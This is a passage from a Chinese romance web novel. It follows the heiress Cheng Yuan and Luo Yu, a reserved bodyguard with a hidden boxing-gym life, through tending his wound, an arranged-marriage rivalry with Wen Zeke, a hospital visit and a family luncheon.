冰凉的碘伏液体擦拭在伤口表面,这种普通擦伤他从前不知道受过多少,从来不会理会。 而眼前这个人却一边拧着眉头,一边用他的手掌仿佛受到了天大伤害的眼神紧紧盯着。 “这是我第一次给别人处理伤口。” 程鸢用棉签的动作很轻,间隙她撩起眼皮看向他,“疼吗?” “需要我吹一吹吗?” 她的眼睛很亮,说话的语气像是幼儿园老师在哄哭包小朋友。 洛聿眼角微微抽动,“不必。” 想要撤回手,被程鸢提前摁住。 隔着衣衫,彼此的肌肤并没有直接接触,但他还是感受到了她手指的温软程度。 明明没用什么力道摁在他的手臂脉络上,他却像是被点了穴,动弹不得。 碘伏涂完,程鸢撕开两片创可贴贴到了他的伤口上。 洛聿盯着花纹是粉色KT猫的创可贴,无语。 程鸢还给自己买了杯喝的,但便利店里的东西显然不可能符合她的口味,她只抿了一口就丢在了一边。 雨势已经减小,却到处充斥着雾蒙蒙的水汽。 程鸢直直地看着洛聿,冷不丁就感叹了一句,“你长得这么好看,怎么会有人舍得打你的脸。” 打人不打脸不是基本素质吗,那四个狗东西就该被抓进派出所里!可惜那个巷子里没有监控,她刚才也没有真的录像。 洛聿眼神不变,依旧沉默。 程鸢状似无奈地叹了口气,“你让我对保镖这个群体的刻板印象又加深了。” 程鸢缓慢凑近,漂亮的眼睛透露出些许狡黠神色。 嗅觉比视线更快感知到距离在缩短。 开在盛夏阳光中的莓果气息,清透酸甜,明媚热烈。 洛聿这次没有往后退,沉黑的双眸回望她,问:“什么印象?” 程鸢盯着他说话时上下滚动的喉结。 “闷葫芦呗!我又不是你的老板,你不用这么守规矩,也不用叫我大小姐。” 洛聿改口:“程小姐。” 程鸢哼笑了声,懒得纠正了,这人耿直到油盐不进。 其实刚才在那个光线昏暗的巷子里,程鸢有一瞬间把眼前这个闷葫芦和那天晚上在拳馆出场就拿下胜局的新人选手联想在了一块儿。 毕竟他们似乎在身高上大差不差,手掌也同样宽大有力。 但程鸢现在已经打消了这种联想。 因为眼前这个人实在是太闷了,根本不可能是拳台上那个总是迅猛出击宛如猎豹,浑身充满野性的男人。 “今天多谢,我先走了。” 洛聿没打算逗留,也没给她开口的机会,推开玻璃门便走了。 程鸢仍然坐在窗前,看着他的身影穿过刚才那个小巷。 他是住在这儿吗? 周围这些房子的房龄比她爸的年纪都要大吧,能住人? 等人消失了,程鸢才想起来自己还没问他叫什么名字,薪酬多少,愿不愿意从温泽楷那儿离职跟着她。 * 穿过两条小巷再经过一座桥,外边就是宽阔的双车道大马路。 “怎么这么久,电话也不接。” 一辆黑色卡宴停在路边,柯彻降下车窗朝外问道。 洛聿撕掉手背上的粉猫图案创可贴,打开车门坐进来。 “路上遇到了几个撬锁偷盗的。” 柯彻挑眉,“几个小贼而已,需要耽误这么长时间?” “出了点意外。”洛聿言简意赅。 注意到他侧颌的微肿,柯彻睁了睁眼睛,说稀奇,“谁还能把你打伤?这得是多大的意外?” ‘意外’本身不具备任何杀伤力,甚至莽撞,赤手空拳举着一部手机就敢冲进来。 明明浑身上下打扮精致得就像玩具橱窗里的漂亮手办,却一脚踩进泥泞地。 她不该出现的。 手背还残留着一点碘伏的气味,洛聿面无表情地用指腹碾过渗血的破皮处。 柯彻送洛聿至目的地,没下车,洛聿如今不便出面,拳馆以及会所楼上几层的生意都是柯彻在打理。 “明明是不想管事儿才跑到你这里躲清闲,没想到反而要做的事更多。” 洛聿不紧不慢开口:“你还有的选。” “不。”柯彻眼底闪过一丝玩味的光,“我挺想看你一步步拿下温家。” “走了。” 电梯上楼,指纹进门,洛聿将手上的黑色棒球帽挂在玄关架上。 这套房子位于这栋楼的顶层,精装平层,视野开阔,澜市中心地段,价格不菲。 空间布局开阔,打通两个房间连成客厅,整面的墙一半做成书柜,另一半挂着拳套,羊皮手套,攀岩用的动力绳,保护器,滑雪用的雪镜,跳伞用的风镜,各种极限运动的装备。 洛聿一路走进浴室,眼神依旧沉稳冷静,脑海中却清晰地显现出那张脸来。 鼻尖挺翘,红唇浅扬,眼睫毛不断轻扫,一张普通说明书被她拿在手里变得昂贵。 她为他微不足道的小伤皱眉,她故意靠近他时身上的芳香,以及那两条即便沾了泥泞也依旧白如椰肉的小腿。 她就像凭空闯入的一块莓果蛋糕,要是咬上一口,恐怕三天味蕾都是她的味道。 4. 又见面了 “泡泡已经被我宠成家霸了,在我回来的路上又把波比胖揍了一顿!” 程鸢提着新鲜出炉的糕点来到齐家时,齐好正在努力成为一个一碗水端平的二胎金丝熊仓鼠妈妈。 “那你把它们分开养吧。” 程鸢弯腰往笼子里瞧,叫泡泡的那只小仓鼠正在努力蹬跑轮锻炼肌肉。 “已经分开了,可是一开始我是想培养兄弟情来着。” 齐好撇了撇嘴,垂眼瞧见程鸢的袖口染色了一块,“咦,程程你这上面粘到什么了?” “应该是碘伏吧。”程鸢抬起袖子。 “哪来的有碘伏?你受伤了?” “不是我。”程鸢勾了勾唇。 她不是受伤的那个,她是凭空而降英勇拯救受欺负可怜帅哥的那个。 “先走了,回家换身衣服。” 到家,程鸢从进门就开始卸身上的首饰,墨镜,项链,耳钉,腕表,戒指,走到哪就随手搁到哪。 进到浴室时手已经伸到后背在拉裙子的拉链,直到脱裙子时她才留意到自己的腿上沾到了几滴很浅的灰泥点子。 二十分钟后,程鸢裹着浴袍出来,那条袖口弄脏了的新裙子直接被她扔进了垃圾桶。 * 雨一连下了两天,程鸢待在家里没出门,徐时鸣上门给她送了两趟吃的。 徐时鸣是徐家独子,大学还没毕业就开始接手自家公司,每天都很忙。 “小徐总百忙之中还来给我送吃的,辛苦辛苦。” “那你准备怎么感谢我?”徐时鸣还带来了一束程鸢喜欢的紫色鸢尾花,拆了包装给她插到玄关的花瓶上。 “这个给你。”程鸢把自己刚削好皮的水蜜桃递过去,“小徐总先吃。” “这还差不多。”徐时鸣含笑接过,咬了口桃肉,目光却在留意她沾了蜜桃汁水正放到水下清洗的双手。 她的十指细长,指甲修剪成饱满的圆弧形状,就好像一颗颗细润透亮的珍珠贝母。 徐时鸣回忆上一次握住这双手,是大学时期陪她参加双人舞比赛。 已经过去很久了。 “还不走?不是说马上有个会要开吗?”程鸢抽了张纸巾把手擦干,抬头。 “嗯,就走了。”徐时鸣问她:“今晚你有什么安排吗,要不然我接你出去吃饭?” “不,有约了。” “去哪?” 程鸢说:“去你不爱去的地方。” “又和之瑜去看拳击比赛?” 徐时鸣摇头无奈,“真是搞不懂你们两个女孩子为什么就喜欢看那么暴力的东西。” “拳击怎么了,谁规定女孩子就只能喜欢逛街插花弹钢琴的,徐时鸣,你有这样的想法很容易找不到女朋友!” “找不到就找不到,你也没有男朋友,”徐时鸣眼里藏着几分热切,“我们正好凑一块儿。” “又来。”程鸢佯装起鸡皮疙瘩地搓了下手臂,“你再说我一会儿饭都吃不下了。” “行,不说了。”徐时鸣无奈一笑,又叮嘱道:“饭记得吃。” “知道了,怎么比我爸还啰嗦!” 程鸢推着他的背把人往外请。 徐时鸣很了解程鸢的饮食口味,买的都是她爱吃的菜。 但太了解反而容易腻了味,没吃几口程鸢就放下了筷子。 离天黑还有段时间,程鸢百无聊赖地切换了几部电影,她抬头看了眼窗外。 收回远眺的目光,程鸢打着方向盘开始拐弯,已经开车在老城区转了好几圈,可惜并没有像上次那样碰巧再遇了。 其实想要再见到他也不是什么难事儿,只要打个电话让人查一查温泽楷的行踪就行。 程鸢又买了两盒糕点,开车拐回程家,没进去,让保姆出来拿糕点。 “太太这会儿不在家,大小姐不进来坐坐吗?” “王阿姨,我又不是因为她才不回家的。”程鸢摘下挡着大半张脸的白框墨镜。 “我爸喜欢吃那里面的百果蜜糕,等他晚上回家了你给他切两小块,只能吃两块,多了他血糖会超。” 王阿姨笑道:“好,我记下了。” 程鸢启动车子准备离开,余光瞥见花园里的满园春色,她那儿的阳台光秃秃的,正缺点花花草草来点缀。 “王阿姨,你把那株雪兰给我挖起来用花盆装上,我要带走。” “那棵角堇我也要!” 程鸢干脆推门下车来,随手点,把花圃这里一个坑那里一个洞的挖走。 王阿姨点点头,连忙指挥园丁工人照着她的吩咐做事。 傍晚,苏萍一脸愠色地走了进来,兴师问罪道:“外面的花圃都是我精心打理出来的,为什么挖之前没人告诉我一声?!” 王阿姨垂眉顺眼说道:“程董说过,大小姐虽然搬出去住了,但是只要她开口想要家里的东西,不管什么都随她带走。” 苏萍一口气顿时噎在喉咙,半晌她才咬牙切齿地说道:“行,我知道,我当然知道,整个程家都是她的!我算什么!” * 车里,程鸢的手指跟着音乐的节奏点拍方向盘,哼着歌,心情不错。 不是挺会告状的吗,有本事就把她回自己家搬几盆花这样的小事也跟她爸撒娇告状去。 到家,程鸢请公寓的物业管家们把花盆搬上楼。 管家说还可以提供浇水和帮忙养护服务,程鸢不需要,她并不喜欢外人进出自己的家,就连保姆都没聘请。 她一个人住,全屋智能清洁家电就足够把日常卫生收拾干净,王阿姨每个月也会过来两三次帮她全屋清扫。 娇滴滴的鲜花摆满阳台,景色焕然一新,仿佛置身春日。 程鸢拍照发了条朋友圈,没几分钟就有了一大堆点赞,其中也有她爸的头像。 天黑下来,池之瑜和程鸢在餐厅碰头。 吃过晚餐,电梯下到拳馆,池之瑜照旧先进后台找她的甜心Archer。 池之瑜带了一支进口的药膏过来,她最近不便出国,是特地托朋友带回来的。 池之瑜是熟面孔,安保便只是例行搜身就放了她进去。 好在柯彻此刻正盯着内场监控,看见池之瑜过来,连忙把正在啃菜叶子减肥的豹纹蜥蜴塞进柜子里。 “吃什么吃,给我进去,不许出来!” 响起咚咚敲门声,柯彻把翘起的二郎腿规矩放下来,衬衣散开的三颗扣子也严实系上,才摁下房门自动开关。 “请进。” “Archer?”池之瑜眨了眨眼睛,含笑走进来。 “池小姐。”柯彻咳嗽了两声。 “你的伤还没养好吗?”池之瑜担忧地皱起眉。 “没事,最近有点小感冒而已,池小姐离我远点,别被我传染了。” 池之瑜反而走近,“哪有这么容易被传染,你快多喝点水吧!” “还有,你什么时候才能不对我那么客气啊,叫我之瑜不可以吗?” “或者……你也可以和之前一样叫我姐姐。” “姐姐。” 柯彻看着她,语气里藏有几分玩味。 “嗯……”是池之瑜让喊的,听得脸红的也是她,反观柯彻的脸色却过白憔悴。 “你的脾气这么温顺,难怪在拳馆里总是受其他选手的欺负。” “我没事的。”柯彻一脸虚弱地摇了摇头,瞥见她手里拿的东西,问:“这是什么?” “噢对,这是我给你买的药膏,消肿效果很好,你背上不是被打伤了吗,恢复得怎么样了?” 柯彻盯着她出神了几秒,“你对我真好。” “我自己上药不太方便,之瑜,你能帮我擦吗?”他的嗓音低沉虚弱,简直我见犹怜。 “好啊。”池之瑜勾起笑,她求之不得,“当然可以。” * 程鸢在观看区落座,招来侍应生点了两杯喝的,并询问上次那位新人选手今晚是否会上场。 没听到想要的答案,程鸢哦了一声,抬起一边手臂撑着脑袋。 自从她背上了要联姻的锅之后,做什么事儿都不太顺。 最近统共就两个看得顺眼的男人,结果一个也没有下文。 她倒不是想做什么,就单纯地想花点钱,养养眼,解解闷,结果就这么简单的事儿都办不到。 “一定是温泽楷克我!” 程鸢找到原因。 坐了会儿,见池之瑜还没回来,程鸢扭头往后台方向看了眼,结果好巧不巧,和那天晚上一样,她又看见了那道令她感觉熟悉又陌生的背影。 程鸢立刻起身跟过去,刚好有一群人要进来观看区就座,程鸢不过侧肩避让的几秒,再抬头,那道身影已经消失不见。 “……我又看错了?” 程鸢站在原地纳闷。 转过身正要回去,面前一堵人墙忽然拦住了她的去路。 “程鸢。” “有事?” 程鸢的脸色冷了下来,这人是澜市二代圈里一纨绔子弟,之前在酒吧也是像现在这样把她拦住,嘴里说不干不净的话,被程鸢泼过一杯酒。 “没想到程大小姐也会来这地儿找乐子,看来咱们兴趣相投,一会儿一起喝一杯怎么样?” “不怎么样,是人你就别挡道。” “你这张嘴连骂人都这么好听。” 男人眯着眼忽然朝她靠近,“尝起来是不是也——” 程鸢立刻一掌拍开他伸过来的手,用的力气很大,她整个手心都震麻了。 男人被打了一点没觉得疼,眼底反而闪过兴奋,手又伸过来要搂她。 只是还没碰到程鸢,就被她身后伸出来的一条强劲有力的手臂抓住,狠狠一拧。 程鸢转身看着来人,微愣。 身穿拳馆工作服的安保对解决闹事的客人很有经验,三两下就制服了对方,让另外一名安保堵住他的嘴把人弄走。 “很抱歉女士,是我们服务疏忽,我让工作人员送您回座位上。” 程鸢点点头,神色恢复如常,刚才那一瞬间,她竟然会以为出现的是…… “可以提意见吗,你们拳馆的灯光实在是太暗了!” 她已经第二次看错背影了。 送她回到位置上的侍应生愣了下,说会把她的建议上报过去。 程鸢摆摆手,“不用了,我说笑的。” “老板。”后台角落暗处,安保把男人还在叫嚣的嘴堵得严严实实,并给了他一个肘击压制在地上。 “丢出去。” * 洛聿进走廊时刚好和池之瑜并行而过。 洛聿推门进来,见桌上有药膏,瞥了柯彻一眼:“我怎么不知道你哪儿受伤了。” “你不懂。”柯彻一脸自得,“我这叫释放关怀的机会。” 柯彻指了指监控屏幕,视角正好对着程鸢和池之瑜的座位。 “和我的金主一起来的那个漂亮小姑娘,她已经第二次找人打听你了。” “你们认识?”柯彻问他,“该不会你上次上场就是打给她看的吧?” “说了想象力别太丰富。” 洛聿面无表情,语气笃定:“她跟我不会有任何关系。” “哦,那那个漂亮小姑娘叫什么名字?” 洛聿抬眼,“程鸢,怎么了?” 鸢尾喜光,花瓣颜色耀眼夺目。 人如其名。 “你记人家名字记得还挺清楚的哈。”柯彻一脸微妙,“你还默认了。” “默认什么?” “你觉得她很漂亮。” 洛聿沉默了很长的几秒钟,“你这么闲,今晚上去打一场。” “那不行!”柯彻捂住自己的胸口说,“我身残志坚需要关怀的人设不能崩。” “……” “是有点病。”洛聿说。 * 程方海这一周都在外地分公司,分不出空闲时间催程鸢的联姻进度。 拖得一日是一日,程鸢怡然自得,每天照旧去集团点卯上班。 “大小姐,这两份文件都是需要您签字的。”沐慈没跟着程方海出差,留下辅佐程鸢。 程鸢的目光从手机游戏界面移开,抬头,“副总不在吗,我签字有效?” “当然有。” 沐慈说:“您在集团的权限仅次于程董。” “哦。” 于是一整天, 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程鸢从人群中间走出来,把一顶粉钻公主皇冠戴到她头上。 “这顶皇冠就是上次拍卖会的那顶吗?” “就是它,我记得老贵了!” “是我和之瑜一起拍下的。”程鸢笑着说:“好好公主,生日快乐!” 池之瑜走上前抚顺齐好的长发,“生日快乐,又长大一岁啦!” 齐好很感动,她泪点又低,很快就哭得稀里哗啦,扑上来和程鸢池之瑜拥抱。 满包厢都是女孩子,没有异性她们玩得更开,拼酒和调笑声不断传来,很热闹。 齐好出去包厢外面接电话,她一晚上都在收生日祝福,过了会儿,齐好却一脸着急忙慌地跑了回来。 “之瑜!程程!” “你们还记得我去年在国外遇到的那个讨厌的男人吗?!” 去年齐好跟家里人闹了点别扭,她独自出国度假,结果却遇到了一个喝多了的男人,对她出言不逊,还想动手动脚,差点把齐好给吓哭了。 “我刚才又看见他了!他竟然也在这家酒吧里!”齐好把自己匆匆拍下来的照片给她们看。 “你们看,就是这个混蛋!” 程鸢当即一愣:“你确定是他?” 齐好点头:“确定!就是他!” 程鸢说:“他是温泽楷。” “什么?!”池之瑜和齐好异口同声。 “这个狗东西。”程鸢阴测测地冷笑着。 齐好的生日聚会一直玩到凌晨才散,几辆车子从酒吧离开各回各家。 程鸢今晚滴酒未沾,开着车紧跟在一辆黑色商务车后面。 商务车半道停了下来,温泽楷从车里下来,甩开两名保镖的搀扶,自己踉踉跄跄地往路边一个公园深处走了进去。 “机会这不就来了。” 程鸢立刻打了通电话出去。 五分钟后,程鸢推开车门走下来,走到站在商务车前的年轻男人面前。 “又见面了。” 她的语气有着明显的愉悦,和懒得藏的得意。 “程小姐。”洛聿看着她,“你想做什么。” “我想做什么你不知道吗,刚才在酒吧把我的人拦了一次的不就是你吗。” 程鸢原本的计划是把温泽楷堵在酒吧厕所里揍一顿出出气,但洛聿把人拦在了洗手间门外。 不过,他只是把人拦住了,却没有动手回击,也没有汇报给温泽楷。 “职责所在。”洛聿说。 “这样啊。”程鸢点点头,很是善解人意的样子,“好吧,我理解。” “不过——”程鸢朝他逼近,话锋一转,“我还从来没有想办办不到的事。” 程鸢点开手机屏幕凑到他面前,给他看此时此刻,温泽楷正被人套了麻袋按在地上挨打的视频。 温泽楷只虚虚叫嚷了几声就没了声音,他喝多了也没有任何反抗能力,完全是躺着等打。 温泽楷车上三名保镖,洛聿被留下在这里,另两名保镖则被温泽楷勒令停在那边稍远的距离。 多好的机会,她不让人给他松松筋骨都对不起他。 洛聿的目光只在手机屏幕上停留了不到两秒,就移动到了程鸢的脸上。 她得意上翘的嘴唇很容易转移别人的注意力。 “就这么给我看,不怕我反手把你供出去?” “你觉得我会怕?” 洛聿盯着她。 她现在就像是一只神气活现的孔雀,高昂自己漂亮的羽毛尾巴在炫耀胜利。 程鸢又朝他走前一步,一再缩短彼此的社交距离,“而且,你不会把我供出来。” 近看程鸢发现他更耐看了,脸上没有任何瑕疵,哪个角度都好看,赏心悦目。 “理由。” “什么?”程鸢正在对比他的鼻梁和浮华叫价九十九万九的男模的鼻梁哪个更高更挺。 洛聿对她的走神尽收眼底,默了默,“为什么认为我不会把你供出来。” “直觉,我觉得我们才是一路人。” 程鸢红唇轻扬,“你现在站在我的面前,看着我,听我说话,而不是第一时间去解救你的老板,这还不够明显吗。” 广场空旷,有风吹动她长长的发尾,彼此距离近,她的其中一缕头发正在一来一回地拂过他的手臂。 她的身上似乎换了种香气,不是之前的明艳馥郁,而是一种飒爽清冽的薄荷,富有攻击力。 和她今晚的一言一行完全贴合。 手机振动声响了起来。 是洛聿的电话。 “也许你需要为你的老板租一个轮椅,只不过这么晚了不一定有人为你们服务,祝好运。” 程鸢笑着转过身,高跟鞋踏地声音清脆,她左侧耳上夹着的一个钻夹正在闪闪发亮。 洛聿看着她的背影直到消失,才拿出手机不紧不慢地打了通电话出去。 “建新路旁边的公园广场监控。” “调出来?”柯彻问。 “删掉。”洛聿说。 5. 肌肤相触 “大少爷被人打成这样,你们几个保镖倒是一点事儿也没有!” “我儿子要你们有什么用?” 到底顾忌着这里是医院,温太忍下了火气,没骂出更难听的话。 没把人保护好的确是他们的失职,洛聿一身黑衣敛眸沉默,其余两名保镖也没吭声。 “我以前怎么没见过你。”温太目光扫过洛聿,“你是新来的?” 洛聿:“是。” 温太又看了他几眼,莫名觉得他的长相有点眼熟,却又回忆不起来到底像谁。 温太走回病房,两名保镖松了松僵硬的肩膀:“昨晚是大少非要我们停车,还不让跟,你说咱们能有什么办法……” “算了算了,别说了。” 温泽楷坐在病床上,一只手枕在脑袋后面,另一只手举着手机在刷。 “泽楷,你什么时候多了一个新的保镖?”温太走进来问道。 “你说洛聿?”温泽楷说,“那是爸派给我的。” “你爸什么时候还管这些事了?” “什么叫这些事,他亲生儿子的人身安全难道不是大事。” “保镖多又有什么用。”一提这个温太就没好气,“你还不是被人打成这样,那地方的监控还那么巧就坏在你出事之后,连是谁下手的都不知道,白白受罪!” “你一受伤,二房那几个心思就更加活泛了,儿子,你可不能被他们比下去了!” “他们没几天得意日子了。”温泽楷眯起眼,“已经有好几位董事都站到了我的阵营,放心吧妈,不然我现在就出院回去。” “先别动!” 温太把他摁回病床上,“也不急在这一时,医生说你有轻微脑震荡,给我安心在医院躺半天,观察观察再说。” “没这个必要吧。” “有必要,你就听我的!” “知道了。”温泽楷一脸不耐。 温太看见他眉头上鲜红的擦伤就觉得刺眼,想了想还是很不满。 温太走出门外,再次厉声警告洛聿他们要好好保护自己儿子。 程鸢就是这个时候出现在医院走廊。 温泽楷受伤住院的事情传到她爸那边了。 “权当替我去探望,就算联姻不成,咱们两家的交情还在。” 程鸢才不信她爸这一套鬼话,明明就还打着让她跟温泽楷培养感情的主意。 一点小伤还搞到住院,温泽楷可真够矫情的,早知道他那么爱住院她就该让人揍重手一点,让他一次住够本。 程鸢想撂电话。 什么物种也配让她亲自去探病。 不过她很快就想到了另一个人。 从昨晚到现在都风平浪静,代表他果真没有把自己卖到温泽楷面前。 “好的爸,我代您去看望他,这就去,马上去!” “也不必这么急……” 程方海看了眼被匆匆挂断的电话,有点怀疑那头是不是自己的亲生女儿。 程方海扭头,“她怎么答应得这么快?” 沐慈也纳闷,说:“大小姐该不会,是要故意过去嘲讽人家吧?” 探病也得有探病的样子,半道程鸢把车停在一家花店门口,过了会儿,她戴着口罩捧着一束花走出来。 走廊里,程鸢一眼就瞧见了洛聿,听到那些刺耳的指责,她加快脚步。 “温太太。” “程程来了啊!” 温太顷刻间变幻的笑容在瞥见程鸢的穿着时愣了下。 然后才如常客套道:“好久没见你了,还是这么漂亮!” 浅蓝衫,低腰裤,露脐的那节腰身没有一丝赘肉,向腹部两侧自然延伸的马甲线轻盈紧致。 程鸢生来优渥,长相得老天偏爱不说,就连身材比例也堪称完美,当然后者更多来自于她自己的良好健身习惯。 穿成这样根本不像是来看望病人的,又想到她一直都是这么个高调的性子,温太也不好说什么。 “你是来看泽楷的吧,他正等着你呢!”温太亲热地拍了拍程鸢的手臂。 “正好公司还有事,我就先回去了,你们年轻人好好聊。” “您慢走。” 程鸢目送温太进电梯。 程鸢一点都不急着进病房,她直接走到洛聿面前,“又见面了,昨天谢谢你呀。” “举手之劳。”洛聿声音低沉无波。 没头没尾的两句哑谜,旁边两名保镖对眼,不知道他们在说什么。 “花有点重,先帮我送进去吧” 程鸢把花束递给其中一名保镖。 保镖看了眼洛聿,见他颔首才接下。 保镖很快就出来,说道:“程小姐,大少请您进去。” 程鸢又看了眼洛聿,示意他站在这里等她,才转身往病房里去。 温泽楷弯着一条腿靠坐在病床上,穿着病号服,戴着没度数的金边眼镜。 死装。 “没想到你还会来看我。” 温泽楷的视线落在程鸢露在外面的那节腰,又白又嫩,他一手臂就能牢牢圈住。 “特护病房都住上了。”程鸢掀眼看了看病房四周,“你伤哪儿了,没残废吧?” “让程大小姐失望了,我好得很!” “也是,这伤口再不入院都要愈合了吧。” 温泽楷沉默下来,盯紧程鸢,要不是他妈跟他分析和程家联姻会获得的许多好处,他恨不得立刻就好好教训她这张利嘴。 不急,等将来把她娶进门他有的是时间调教,她长得漂亮,性格野一点也是应该的,这样才更具有征服快感。 “花是我特地为你挑选的。”程鸢轻抬下巴,突然把语气放软。 “温少闻闻看喜不喜欢。” 特地挑选?温泽楷被她忽然一笑恍了心神,他听从,把花从台面拿了过来。 下一秒,一声惊天泣地的作呕声在病房里响起。 这束花看着好看,实则香到发臭,远距离闻不出来,但凑近闻一口就头晕脑胀,闻两口直接送走。 “这什么——” 抬头一看,病房里哪还有程鸢的身影。 “你送我下去。” 病房外走廊里只剩下洛聿,不知道另外两名保镖是怎么被他暂时打发离开的。 闻言,洛聿只是转身为她摁了电梯,脚步不动。 “我有话问你。”程鸢说。 “程小姐想问什么。”洛聿语气沉平,“请现在直言。” “里面那个随时会走出来,我在这里问不太方便。” 程鸢在他面前晃了晃自己的手臂,“我抱花抱了一路,手酸,摁不了电梯,你得进来帮我。” 洛聿盯着她纤白的手臂,没动。 “不肯啊?” 程鸢歪了下脑袋,“那我让温泽楷从病床上起来给我摁电梯吧。” 洛聿走了进去,转过身,摁下电梯关门键。 程鸢弯着唇靠在电梯壁,她站在他后方的位置,需要抬头才能一览无余他肩线挺括的脊背。 密闭的空间,她身上的香气很淡,却无处不在。 洛聿一脸冷静地盯着电梯门。 如果门板是反光材质,那他就会看见程鸢正在他背后悄悄踮脚,在测算他们之间的身高差度。 抵达一楼,洛聿侧站,伸手抵在电梯门边。 程鸢瞟了眼他骨骼分明的宽大手背,走出去,到一处光影阴暗参半的花圃旁边,她转过身。 “其实我刚才可以直接问温泽楷,但我想听你亲口告诉我,你叫什么名字。” 程鸢朝他眨了眨眼睛,树荫缝隙里漏出来的阳光恰好打在她浓密的眼睫毛上。 “不然我就只能一直叫你——小保镖了。” 程鸢把小字念得稍重。 “……” “洛聿。” 明明两个字的发音都是重音的四声调,却被他念得缓而平沉,仿佛在刻意降低存在感。 “什么?”程鸢偏偏反其道,一脸求知地问:“我没听清,是小鱼的鱼,还是欲望的欲?” 洛聿:“都不是。” “那是哪个字啊。”程鸢朝他摊开手心,“你写给我吧。” 女孩的手掌白净小巧,冷白的机械表带戴在腕间,更衬得素手纤细。 明明是不堪一折的绵力,她的语言和动作却充满了进攻性。 程鸢上下晃动了几下手指,像是在挠街边流浪小狗下巴的动作,释放柔软,却又伴随着耐心不多的催促:“写呀。” 洛聿的手指温度很凉。 指腹滑动带来一点痒意,程鸢的手心本能抖了抖。 洛聿没有停,垂着漆黑的眼继续写。 最后一竖,他习惯加深力道,指腹几乎滑过她的整个手心。 不会弄疼她,但会弄得她更加痒。 “岁聿云暮的聿?” 程鸢客观评价道:“很少有人会用这个字作为名字。” 洛聿很淡的‘嗯’了声。 岁聿云暮的意思是一年将尽,代表结束,不是什么好意头。 “岁聿云暮,一年将尽,是结束也可以是圆满。”程鸢朝他走近。 阳光跃过她的肩膀伸展到了他的肩膀上,“洛聿,我记住你的名字了。” “我叫程鸢,鸢尾花的鸢。” 洛聿看着她,“我知道。” “不。”程鸢说,“不是温泽楷口中的程鸢。” “不用想都知道他肯定在你们面前说了我很多难听的话,对吧?” “嗯。” “果然!那狗东……他都说了什么?” “你真想听?” 洛聿盯着她已经夹起来的眉心,她本身是小挑眉,蹙紧时眉形反而被扯成平直,原本的飞扬恣意也被压了下去。 “想听,你说。”程鸢咬牙道。 她要逐句攻破狠狠地骂回去,或者他敢诋毁她一句,她就找人套麻袋再还他一拳。 “我不记得了。” 洛聿说,“我要上去了,程小姐慢走。” 说完他就转身离开,不给程鸢再开口的机会。 程鸢觉得他这个扭头就走的动作有点熟悉,但是想不起来在哪里见过。 还没有人敢不听她说完话就走的,他是第一个,不过程鸢并没有觉得被拂了面子。 她双臂抱胸,盯着他的背影说:“下次再见,洛聿。” 这个下次来得还挺快。 温泽楷康复出院,温太为表感谢程鸢的探望,特地借此由头,邀请程家参加午宴,除外还有另几家和程温有紧密关系的合作方。 这种场合程方海会带上苏萍出席。 程鸢则是在午宴马上开始前,掐点到场,省略了中间盎长无趣的推杯换盏环节。 但在场的人都知道,今天这场午宴的主要目的,就是撮合程鸢和温泽楷这对小辈。 温泽楷亲自站在宴厅门口迎接程鸢。 程鸢从车上下来,走到温泽楷面前时脸上还架着一副大大的墨镜,她没有要摘下来的意思。 环顾四周,程鸢问他,“你今天没带保镖?” “带了,怎么?” “怕你再被人打顺带连累我。” “……这种事绝不会在发生第二次。”说罢,温泽楷凑近低语,“就算发生危险,我肯定也会护着你。” 程鸢扭头看着他,“这就是你温家的待客之道?” “怎么了?” “还没吃就让客人先在门口听吐一波。” “——你!”温泽楷脸色难看。 “劝你还是少站门口吧,你这张脸挺影响你家酒店生意的。” 程鸢进到包厢才摘下墨镜,她对着程方海喊了一声爸,对着几位熟悉的长辈叫了叔叔阿姨,唯独忽略她爹旁边坐着的她名义上的继母苏萍。 程方海和顾韵办理离婚登记的时候,程鸢当时才读高一。 离婚是顾韵提出来的,她是个感情至上主义者,而程方海的生活里更多的是无休无止的工作,开会,出差。 顾韵受够了爱情变成枯燥无趣的亲情。 人永远是自由的,即便在被赋予了多层身份之下始终要做自己,这是顾韵从小教育程鸢的观念。 妈妈要和爸爸离婚,妈妈要去国外定居,程鸢在被通知这些事情之后只是红着眼睛把房间门反锁,披着一床小毯子罩住自己的脑袋,低着头,不发出一丁点声音的默默掉眼泪。 等到天一亮,她又是人前明媚傲气的程家大小姐,笑容豁达地把妈妈送出家门,送上飞机。 因而到后来程方海需要一个程太太出席各种社交场合,再婚娶苏萍,程鸢也是一碗水端平的不干涉,以及客套祝福。 苏萍曾经是程方海的秘书,程方海解释是离婚后才跟苏萍有了感情。 程鸢对苏萍算不上讨厌,但肯定也不会喜欢。 但苏萍曾经妄图用管教处于叛逆期的程鸢来作为成就,以期获得在她爸面前高看一眼的青睐。 程鸢没有用什么偏激的手段,只是让佣人把苏萍刷她爸卡买回来的那一柜子新衣服扔到花园。 她亲自点火烧了个干净 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“松手!”程鸢瞬间冷下脸。 “程鸢,我们聊聊。” 温泽楷放开了她,随后拿出自己的手机把相册打开递到程鸢面前。 “聊之前,你先看看这些。” 相册里每一张都是程鸢出入澜市各大酒吧会所以及地下拳馆的照片,刷卡消费毫不手软,吃喝玩乐,玩游戏玩男人,什么刺激玩什么。 “那个你一直养着的拳手叫Archer对吧,听说你在他身上可是花了不少钱。” “你包.男人这种事儿要是被你爸知道了,后果会是什么?” 程鸢抬手摘下墨镜盯着他,“温泽楷,你在威胁我?” 池之瑜的父亲身体不好,母亲是与世无争的豪门太太,她这一门全靠她这个独生女支撑。 刚看上Archer的那段时间,池之瑜恰好在和家里的几个堂兄弟在争抢公司股份。 她的资金流水不便出现在那种场合,因此每次比赛下注都是程鸢买的单,池之瑜再私下转回给她。 “是合作。”温泽楷说,“如果你肯点头嫁给我,我保证绝对不会过问你这些事,以后你想怎么玩就怎么玩。” “我们互不干涉。” 要互不干涉的联姻程鸢有的是人选,温泽楷根本连号码牌的边角都摸不到。 他哪来的自信?那张死装脸? 程鸢瞥了眼温泽楷手机里的照片,这点东西她压根不在意,虽然大概的确会被她爹教育一顿。 “你想跟我合作?” “对,咱们这个圈子里不都这样。”温泽楷听出了她声音里的软话,他继续说服她,“于公于私,我们两家联姻都是双赢的局面,我也一定会给你最大的自由,以后你想怎么玩就怎么玩。” 她的自由用得着他来给? 花园对面的绿荫道,一个身影驻足在那里,程鸢今天还是忘了戴近视美瞳,但却第一眼就认出了那是谁。 她的脑海中忽然就浮现出了一个很有趣的计划。 程鸢扬了扬唇,没答应也没拒绝。 “温泽楷,你可不要后悔。” 温泽楷看着她精致漂亮的脸说:“哪个男人把你娶回家都不会后悔。” 